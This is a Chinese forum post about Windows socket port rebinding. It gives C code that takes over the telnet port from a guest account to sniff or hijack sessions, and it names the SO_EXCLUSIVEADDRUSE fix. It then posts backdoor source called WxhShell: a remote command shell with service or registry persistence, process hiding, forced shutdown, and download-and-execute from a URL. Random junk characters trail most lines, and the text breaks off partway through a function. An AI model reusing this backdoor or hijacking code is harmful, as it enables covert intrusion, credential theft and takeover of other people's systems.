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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8jx1W9=`9[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PKG ,4v=  
@Ec9Do>  
  saddr.sin_family = AF_INET; P &._ -[  
wd0ACF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); WSwmX3rn  
"Y0[rSz,UW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); '.<"jZ  
m$: a|'mS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~q>ilnL"h  
73`UTXvWU  
  这意味着什么?意味着可以进行如下的攻击: n-.k&B{a  
d)sl)qt}0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;VBfzFH  
,DZLEsFM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bGa":|}F  
E6)mBAE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9R3=h5Y  
u^p[zepW\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S"z4jpqn3  
RO8Ynm2 <  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 U.x.gZRo[  
V(0[QA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Or|LyQU  
)Ggx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gJ7pu N  
L+CSF ]  
  #include )HE yTHLtJ  
  #include Pl6=._  
  #include S>Y?QQ3#wp  
  #include    Ymvd= F   
  DWORD WINAPI ClientThread(LPVOID lpParam);   1OL~)X3  
  int main() VG^-aR_F  
  { S22; g  
  WORD wVersionRequested; uIwyan-  
  DWORD ret; lEs/_f3;A  
  WSADATA wsaData; 3!x)LUWfWY  
  BOOL val; 9-SXu lgu  
  SOCKADDR_IN saddr; &YMj\KmlSg  
  SOCKADDR_IN scaddr; uuB\~ #?T  
  int err; \I]'6N=  
  SOCKET s; p}uw-$O  
  SOCKET sc; aQ. \!&U  
  int caddsize; ^" -2fJ  
  HANDLE mt; hT#mM*`  
  DWORD tid;   G7?EaLsfQ  
  wVersionRequested = MAKEWORD( 2, 2 ); }OFk.6{{&v  
  err = WSAStartup( wVersionRequested, &wsaData ); }J`Gm  
  if ( err != 0 ) { 'fsOKx4Z  
  printf("error!WSAStartup failed!\n"); q?\D9aT9  
  return -1; Ek0.r)Nw  
  } i/Z5/(zF  
  saddr.sin_family = AF_INET; v/dcb%  
   J)]W[Nk  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 FTe#@\I  
=t2epIr 5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NKws;/u  
  saddr.sin_port = htons(23); ImVe 71mh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^;d;b<  
  { /_8V+@im  
  printf("error!socket failed!\n"); G39t'^ZK*#  
  return -1; v\vn}/>*d  
  } 8iRQPV-"_  
  val = TRUE; fkM4u<R^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Tj:F Qnx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vvCGzOv  
  { JAK*HA  
  printf("error!setsockopt failed!\n"); " B1' K8  
  return -1; [cq>QMW  
  } W2^R$"U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "cx" d:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 m" Gr pE3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y/gCtSF  
2S3F]fG0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B!0[LlF+  
  { y\x<!_&D  
  ret=GetLastError(); uJizR F  
  printf("error!bind failed!\n"); #<{MtK_  
  return -1; p[Es4S}N  
  } _"=~aMXC.)  
  listen(s,2); "$_ypgRrSR  
  while(1) 1mqFnVkf&+  
  { b,wO^07-3^  
  caddsize = sizeof(scaddr); [B Al  
  //接受连接请求 u CXd% CzE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :>=,sLfJ  
  if(sc!=INVALID_SOCKET)  NNX/2  
  { _>.%X45xi  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cQjJ9o7  
  if(mt==NULL) 23PSv8;EM  
  { _" n4SXhq  
  printf("Thread Creat Failed!\n"); |Cm}%sgR\0  
  break; (@zn[ Nq  
  } TocqoYX{{  
  } k6XO-a f  
  CloseHandle(mt); a%kj)ah  
  } !jm a --  
  closesocket(s); G>b1No3%k  
  WSACleanup(); 8}&cE#@  
  return 0; U4g ZW]F  
  }   `#hy'S:e  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2mRso.Ah  
  { B(~D*H2T[  
  SOCKET ss = (SOCKET)lpParam; 9I9)5`d|Jn  
  SOCKET sc; .|K5b]na  
  unsigned char buf[4096]; \hz)oC   
  SOCKADDR_IN saddr; 9iUw7-)  
  long num; f' eKX7R  
  DWORD val; GC~::m~  
  DWORD ret; u[% #/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _+U`afV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *UTk. :G5  
  saddr.sin_family = AF_INET; xg8<b  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :?,& u,8  
  saddr.sin_port = htons(23); {VFp fo  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #Xc~3rg9  
  { }v:h EMO  
  printf("error!socket failed!\n"); uBM1;9h  
  return -1; wG B'c's*  
  } WrV|<%EQh  
  val = 100; )S]c'}^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [4gv_g  
  { Gfvz%%>l  
  ret = GetLastError(); +1rJ;G  
  return -1; 8w\&QX  
  } 4 P.ry|2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Sdn] f4  
  { ."2V:;;  
  ret = GetLastError(); .]" o-(gB  
  return -1; )}EwEM  
  } 87-oR}/r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y=5hm  
  { rkD(K G9E  
  printf("error!socket connect failed!\n"); \"Np'$4eu  
  closesocket(sc); P?I"y,_ p  
  closesocket(ss); XjV7Ew^7  
  return -1; - na]P3 s  
  } f~53:;L/  
  while(1) ALG +  
  { }"szL=s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,HkJ.6KF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |i|O9^*%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $wBUu   
  num = recv(ss,buf,4096,0); ;gF"o5/Q  
  if(num>0) ?HW*qD#k  
  send(sc,buf,num,0); @+xQj.jNC  
  else if(num==0) H;v*/~zl  
  break; {5,CW  
  num = recv(sc,buf,4096,0); y==x  
  if(num>0) >yaRz+  
  send(ss,buf,num,0); jWm<!< ~  
  else if(num==0) 4|~o<t8  
  break; (|WqOwmoUt  
  } 8.vD]hO  
  closesocket(ss); my Po&"_ x  
  closesocket(sc); uQ{M<%K  
  return 0 ; J^u{7K,  
  } H.YntFtD'  
#e=[W))  
p}h)WjC  
========================================================== :/u EPki  
7,:QFV  
下边附上一个代码,,WXhSHELL >OQ<wO6  
I!{5*~ 3  
========================================================== f\ Qi()  
Er{yQIi0L  
#include "stdafx.h" \KTX{qI"f  
oR5'g7?  
#include <stdio.h> Y M5;mPR  
#include <string.h> NpSS/rd $  
#include <windows.h> [z/OY&kF  
#include <winsock2.h> EayZ*e ]  
#include <winsvc.h> .(! $j-B  
#include <urlmon.h> .}^m8PP  
vzfWPjpKW  
#pragma comment (lib, "Ws2_32.lib") Nkc=@l {  
#pragma comment (lib, "urlmon.lib") /WfpA\4S  
0;)4.*t  
#define MAX_USER   100 // 最大客户端连接数 |TkO'QN  
#define BUF_SOCK   200 // sock buffer |A"zxNeS"  
#define KEY_BUFF   255 // 输入 buffer xw`Pq6  
gx3arVa  
#define REBOOT     0   // 重启 <_h  
#define SHUTDOWN   1   // 关机 "zv?qS  
Ty7x jIs  
#define DEF_PORT   5000 // 监听端口 ^W;\faG  
_/hWzj=q  
#define REG_LEN     16   // 注册表键长度 W<\KRF$S;  
#define SVC_LEN     80   // NT服务名长度 Fvg>>HVu  
,XR1N$LN8_  
// 从dll定义API 3~Ah8,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [V =O$X_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p?ICZg:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xse8fGs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8^kw  
dtJ?J<m}  
// wxhshell配置信息 {"-uaH>,  
struct WSCFG { 3b~k)t4R  
  int ws_port;         // 监听端口 X"*pt5B6`  
  char ws_passstr[REG_LEN]; // 口令 $)6y:t"  
  int ws_autoins;       // 安装标记, 1=yes 0=no I t",WFE.  
  char ws_regname[REG_LEN]; // 注册表键名 af.yC[  
  char ws_svcname[REG_LEN]; // 服务名 ym^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NU O9,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Dz8)u:vRS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "luMz;B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kyMWO*>|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T=%,^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y$ ZZ0m  
("?V|  
}; -uX): h!  
^Yul|0*J  
// default Wxhshell configuration F@UbUm2o  
struct WSCFG wscfg={DEF_PORT, jhg0H2C8  
    "xuhuanlingzhe", #L ffmS  
    1, bu$YW'  
    "Wxhshell", o-c.D=~  
    "Wxhshell", "=@X>jUc  
            "WxhShell Service", O!#r2Y"?K1  
    "Wrsky Windows CmdShell Service", '| WY 2>/(  
    "Please Input Your Password: ", ;Lr]w8d  
  1, B^nE^"b  
  "http://www.wrsky.com/wxhshell.exe", *d b,N'rK  
  "Wxhshell.exe" fgdqp8~  
    }; h8'`g 0  
bL-+  
// 消息定义模块 \xR1|M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b*(74>XY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E+)3n[G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U4M}E h8  
char *msg_ws_ext="\n\rExit."; >cJfD9-<h  
char *msg_ws_end="\n\rQuit."; aYW 9 C<5  
char *msg_ws_boot="\n\rReboot..."; @~sJ ((G[5  
char *msg_ws_poff="\n\rShutdown..."; u7L&cx  
char *msg_ws_down="\n\rSave to "; F!ZE4S_  
^ZuwUuuf  
char *msg_ws_err="\n\rErr!"; ebfT%_N  
char *msg_ws_ok="\n\rOK!"; 05hjC  
LD/NMb  
char ExeFile[MAX_PATH]; lub_2Cb|j  
int nUser = 0; Q #IlUo  
HANDLE handles[MAX_USER]; x4v@o?zW  
int OsIsNt; fRh}n ^X  
ZD~ra7  
SERVICE_STATUS       serviceStatus; {9B"'65o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FLUvFD  
~xCv_u^=  
// 函数声明 2+s#5K&i  
int Install(void); owQSy9Az  
int Uninstall(void); zo83>bt  
int DownloadFile(char *sURL, SOCKET wsh); P@| W \  
int Boot(int flag); jzvrJ14  
void HideProc(void); 3n_N^q}  
int GetOsVer(void); 7bSj[kuN  
int Wxhshell(SOCKET wsl); sBm)D=Kll  
void TalkWithClient(void *cs); z>lIZ}  
int CmdShell(SOCKET sock); > zA*W<g  
int StartFromService(void); mUA!GzJ~u-  
int StartWxhshell(LPSTR lpCmdLine); SR_<3WW  
v9*31Jx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lWPh2k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YpJJ]Rszg  
VDT.L,9  
// 数据结构和表定义 =hY9lxW  
SERVICE_TABLE_ENTRY DispatchTable[] = ,i)wS1@  
{ zCji]:  
{wscfg.ws_svcname, NTServiceMain}, 18nT Iz_  
{NULL, NULL} @k+ K_gR  
}; QlE]OAdB42  
WIKSz {"=/  
// 自我安装 L _D#  
int Install(void) z=/&tRe W  
{ YC[c QX  
  char svExeFile[MAX_PATH]; 7D&O5Z=%+  
  HKEY key; FRhHp(0}5  
  strcpy(svExeFile,ExeFile); @B \$ me  
0uL*-/|  
// 如果是win9x系统,修改注册表设为自启动 >)^Q p-  
if(!OsIsNt) { cS#yfN,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T {:8,CiW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U'@#n2p:k  
  RegCloseKey(key); +N}yqgE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8Wba Hw_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Uz =OTM  
  RegCloseKey(key); \r1nMw3&  
  return 0; LIE5of  
    } d0V*[{  
  } w~4T.l#1  
} \&/V p`  
else { X6<Ds'I  
l#IN)">1  
// 如果是NT以上系统,安装为系统服务 YJGP8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); otA'+4\  
if (schSCManager!=0) [[#zB-|  
{ m`BE{%  
  SC_HANDLE schService = CreateService |BBo  
  ( $+|. @ss  
  schSCManager, E5qt~:C|  
  wscfg.ws_svcname, IN_O!c0e  
  wscfg.ws_svcdisp, Z H2   
  SERVICE_ALL_ACCESS, }2h!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~^bf1W[  
  SERVICE_AUTO_START, BdrYc^?JL]  
  SERVICE_ERROR_NORMAL, x3:d/>b  
  svExeFile, ZiW&*nN?M  
  NULL, i^@hn>s$  
  NULL, |@5G\N-  
  NULL, `*WzHDv5p  
  NULL, IY hwFw 5O  
  NULL hx!:F"#  
  ); ;;S9kNp^v  
  if (schService!=0) }Q a  
  { H1c>3c  
  CloseServiceHandle(schService); ;Wgkf_3  
  CloseServiceHandle(schSCManager); MzMVs3w|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wEZieHw  
  strcat(svExeFile,wscfg.ws_svcname); T]x]hQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q[Gs%/>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (QTQxZ  
  RegCloseKey(key); 1}R\L"  
  return 0; CC)Mws+2  
    } VpX*l3  
  } 3/y"kl:< -  
  CloseServiceHandle(schSCManager); :28[k~.bo  
} f}EsS  
} RK/>5  
:}-VLp4b  
return 1; rn]F97v@]  
} IdoS6   
!5 ?<QKOe  
// 自我卸载 3N ?"s1U  
int Uninstall(void) iUbcvF3aP  
{ iD.p KG  
  HKEY key; cx[[K.  
xFcW%m>9C  
if(!OsIsNt) { }{}?mQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `(r0+Qx  
  RegDeleteValue(key,wscfg.ws_regname); yU>ucuF  
  RegCloseKey(key); +~EnrrT+W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;6$W-W _  
  RegDeleteValue(key,wscfg.ws_regname); uSJLIb  
  RegCloseKey(key); =gC% =  
  return 0; Tol V3  
  } :Wihb#TO)  
} _yp<#q]  
} 1,Jy+1G0w  
else { >y+?Sz!  
@O/"s~d-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Wcbm,O4u  
if (schSCManager!=0) drvz [ 9;  
{ )-m/(-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,#bT  
  if (schService!=0) ^fV-m&F)K*  
  { \E6 0  
  if(DeleteService(schService)!=0) { {]%7-4E  
  CloseServiceHandle(schService); MP_/eC ;  
  CloseServiceHandle(schSCManager); XZ2 ji_D  
  return 0; w\M"9T  
  } fZ(k"*\MZ  
  CloseServiceHandle(schService); X/bu z  
  } tkmzOc H  
  CloseServiceHandle(schSCManager); /]?e^akA  
} i|0!yID0@  
} ju!V1ky  
/8 y v8  
return 1; *TrpW?]Y&  
} J3XG?' }  
ve\@u@K^  
// 从指定url下载文件 (Vn3g ra  
int DownloadFile(char *sURL, SOCKET wsh) Q9c*I,O j  
{ N/[!$B0H@  
  HRESULT hr; nbW.x7  
char seps[]= "/"; \~r_S  
char *token; 8?rq{&$t  
char *file; |n;5D,r0C  
char myURL[MAX_PATH]; C)~%(< D  
char myFILE[MAX_PATH]; +Ht(_+To1  
_;R#B`9Iu  
strcpy(myURL,sURL); TrNh,5+b  
  token=strtok(myURL,seps); a]J>2A@-I  
  while(token!=NULL) !}5+hj!6  
  { Vh^ :.y   
    file=token; qoZe<jW (  
  token=strtok(NULL,seps); 2V~uPZ  
  } m {&lU@uL  
vs>Pd |p;  
GetCurrentDirectory(MAX_PATH,myFILE); _bRgr  
strcat(myFILE, "\\"); a5(9~. 9  
strcat(myFILE, file); Z{gDEo)  
  send(wsh,myFILE,strlen(myFILE),0); |WNI[49  
send(wsh,"...",3,0); F$'po#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KO/#t~  
  if(hr==S_OK) 6\Tq,I7  
return 0; A8k $.E  
else k@pEs# a  
return 1; G *<g%"  
T+S\'f\  
} RB6TM  
nm)/BK  
// 系统电源模块 JEK_W<BD  
int Boot(int flag) <<V"4 C2  
{ wv=U[:Y  
  HANDLE hToken; i ~)V>x  
  TOKEN_PRIVILEGES tkp; 4pZKm-dM^  
~+,ZD)AKi4  
  if(OsIsNt) { jAovzZ6BL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %zR5q  Lb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [;l;kom  
    tkp.PrivilegeCount = 1; 1r5Z$3t\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'e6J&X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WEoD ?GLS8  
if(flag==REBOOT) { VA`VDUG,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PP/#Z~.M  
  return 0; b&]z^_m)  
} GnC s_[*&r  
else { *^XMf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1(Z+n,Hh  
  return 0; F=PBEaX  
} QIdml*Np?H  
  } %$bhg&}  
  else { NBAOVYK  
if(flag==REBOOT) { zn0%%x+!g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oTr,zRL  
  return 0; e.Q'l/g  
} I,"q:QS+  
else { :GFK |  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mE'HRv  
  return 0; H_ NoW  
} P)~olrf  
} sn Ou  
yr*~?\  
return 1; -FrK'!\  
} uZ+"-Ig  
&i6JBZ#~,  
// win9x进程隐藏模块 A<(Fn_ &W  
void HideProc(void) /( 9.Fqe(  
{ b ZZ _yc  
mnw(x#%P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `Gx 5=Bm;  
  if ( hKernel != NULL ) |oQhtk8.  
  { m 0Uu2Z4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z`Jt6QgW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BAG#YZB  
    FreeLibrary(hKernel); A+}O~,mxP8  
  } o#D'"Tn!  
l\2"u M#7  
return; F>?~4y,b7  
} "*TP@X?@f  
dz/3=0  
// 获取操作系统版本 hM&VMa[  
int GetOsVer(void) ? :A%$T  
{ #iRd2Qj%  
  OSVERSIONINFO winfo; FTzc,6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u Tdz$Nh  
  GetVersionEx(&winfo); 7.+vp@+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ) % gU  
  return 1; :OqEkh"$#  
  else &g=6K&a$a  
  return 0; tVNFulcz$  
} ^* CKx  
p  S|  
// 客户端句柄模块 Xi~I<&  
int Wxhshell(SOCKET wsl) w}M)]kY  
{ ! GtF%V  
  SOCKET wsh; -I z,vd  
  struct sockaddr_in client; TxKNDu  
  DWORD myID; *ozXilO  
}h|HT  
  while(nUser<MAX_USER) .eCUvX`$  
{ 9niffq)h  
  int nSize=sizeof(client); tiR i_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]<9o>#3  
  if(wsh==INVALID_SOCKET) return 1; kLXa1^Lq  
J:IAs:e`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e5w0}/yW/  
if(handles[nUser]==0) [Kb)Q{=)  
  closesocket(wsh); %/}d'WJR  
else q6o}2<T@  
  nUser++; m6@;!*Y  
  } #U vWS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5!57<n  
O7J V{'?  
  return 0; a4]=4[(iu>  
} Y$fF"p G?  
 {+gK\Nz  
// 关闭 socket )/z+W[t  
void CloseIt(SOCKET wsh) l {\k\Q!4  
{ <! *O[0s  
closesocket(wsh); @mcP-  
nUser--; =`!# V/=  
ExitThread(0); Wi*HLP!lNC  
} !nQoz^_`P  
bkm: #K  
// 客户端请求句柄 51;Bc[)%  
void TalkWithClient(void *cs) eMP0BS"  
{ Bi0&F1ZC!  
vCtnjWGX}/  
  SOCKET wsh=(SOCKET)cs; \.F|c  
  char pwd[SVC_LEN]; ;Wn0-`_1,  
  char cmd[KEY_BUFF]; y+7A?"s)  
char chr[1]; >QBDxm  
int i,j; Zlv`yC*r  
yoTx3U@  
  while (nUser < MAX_USER) { /1hcw|cfC  
BtQqUk#L2  
if(wscfg.ws_passstr) { L f;Uv[^c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |9)y<}c5oM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _1jeaV9@  
  //ZeroMemory(pwd,KEY_BUFF); ph3dm\U.  
      i=0; C2L=i3R  
  while(i<SVC_LEN) { JycC\s+%E  
DRRy5+,I  
  // 设置超时 &hWYw+yH\  
  fd_set FdRead; , lBHA+@  
  struct timeval TimeOut; h0l_9uI  
  FD_ZERO(&FdRead); ei[,ug'  
  FD_SET(wsh,&FdRead); =[)2DJC  
  TimeOut.tv_sec=8; I=k`VId:  
  TimeOut.tv_usec=0; |jKFk.M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2p*L~! iM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B^j(Fq  
WmblY2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vs*@)'n0}  
  pwd=chr[0]; j$k/oQ  
  if(chr[0]==0xd || chr[0]==0xa) { <fDbz1Q;l  
  pwd=0; 3\|PwA9fN8  
  break; f/Q/[2t  
  } u TmT'u:}  
  i++; `t7GYmw^#  
    } |W SvAM3  
ZRUI';5x  
  // 如果是非法用户,关闭 socket Pj7MR/AH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]w!=1(  
} mvyOw M  
sw,p6T[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NDG?X s [2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "ZG2olOqLI  
[t]q#+Zs  
while(1) { n%{oFTLCo  
*#B"%;Ln  
  ZeroMemory(cmd,KEY_BUFF); V|;os  
D ~NWP%H  
      // 自动支持客户端 telnet标准   ASr3P5/  
  j=0; x' 3kHw  
  while(j<KEY_BUFF) { %;O# y3,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); okBaQH2lUl  
  cmd[j]=chr[0]; QhPpo#^  
  if(chr[0]==0xa || chr[0]==0xd) { :Lq=)'d;6  
  cmd[j]=0; w)}@svv"  
  break; &G7@lz@sK+  
  } eS2VLVxu  
  j++; wOR#sp&  
    } FNXVd/{M3  
pF:C   
  // 下载文件 ,u   
  if(strstr(cmd,"http://")) { >yr3C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .X6V>e)(3  
  if(DownloadFile(cmd,wsh)) tBE-:hX*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '>% c@C[  
  else l i2/"~l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A~'p~ @L  
  } ^NO;A=9b[  
  else { 1 <wolTf  
L$; gf_L  
    switch(cmd[0]) { d)v!U+-|'  
  WZ ,t~TN  
  // 帮助  >fgV!o4  
  case '?': { w M#q [m;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _;k))K^  
    break; Le,+jm  
  } L%f$ &  
  // 安装 `e+eL*rZ~  
  case 'i': { 9`DY6qfly  
    if(Install()) [Ny'vAHOj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5K|s]Y;  
    else CfHPJ: Qo[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p;{w0uld"  
    break; (9!kKMQW'  
    } :$oiP  
  // 卸载 s *<T5Z  
  case 'r': { h>"Z=y  
    if(Uninstall()) cP8@'l@!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ijs=4f  
    else Nv\<>gA:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f{#Mc  
    break; ,CnUQx0  
    } /Pa<I^-#  
  // 显示 wxhshell 所在路径 90+Hv:wF  
  case 'p': { Jv:|J DZ'  
    char svExeFile[MAX_PATH]; t($z+ C<  
    strcpy(svExeFile,"\n\r"); 6bt{j   
      strcat(svExeFile,ExeFile); i<{/r-w=E  
        send(wsh,svExeFile,strlen(svExeFile),0); Z/I`XPmk  
    break; R]_fe4Y0  
    } hFt~7R  
  // 重启 2pAshw1G  
  case 'b': { QEl~uhc3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (OHd} YQ  
    if(Boot(REBOOT)) m{0u+obi&w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7:&a,nU  
    else { p2o6 6t  
    closesocket(wsh); IR*:i{  
    ExitThread(0); xqaw00,s  
    } w7h=vy n?  
    break; AmT*{Fz8  
    } tqK}KL  
  // 关机 2&U<Wiu\}  
  case 'd': { n0ls a@l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R$VeD1n@  
    if(Boot(SHUTDOWN)) }F (lffb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +PkN~m`  
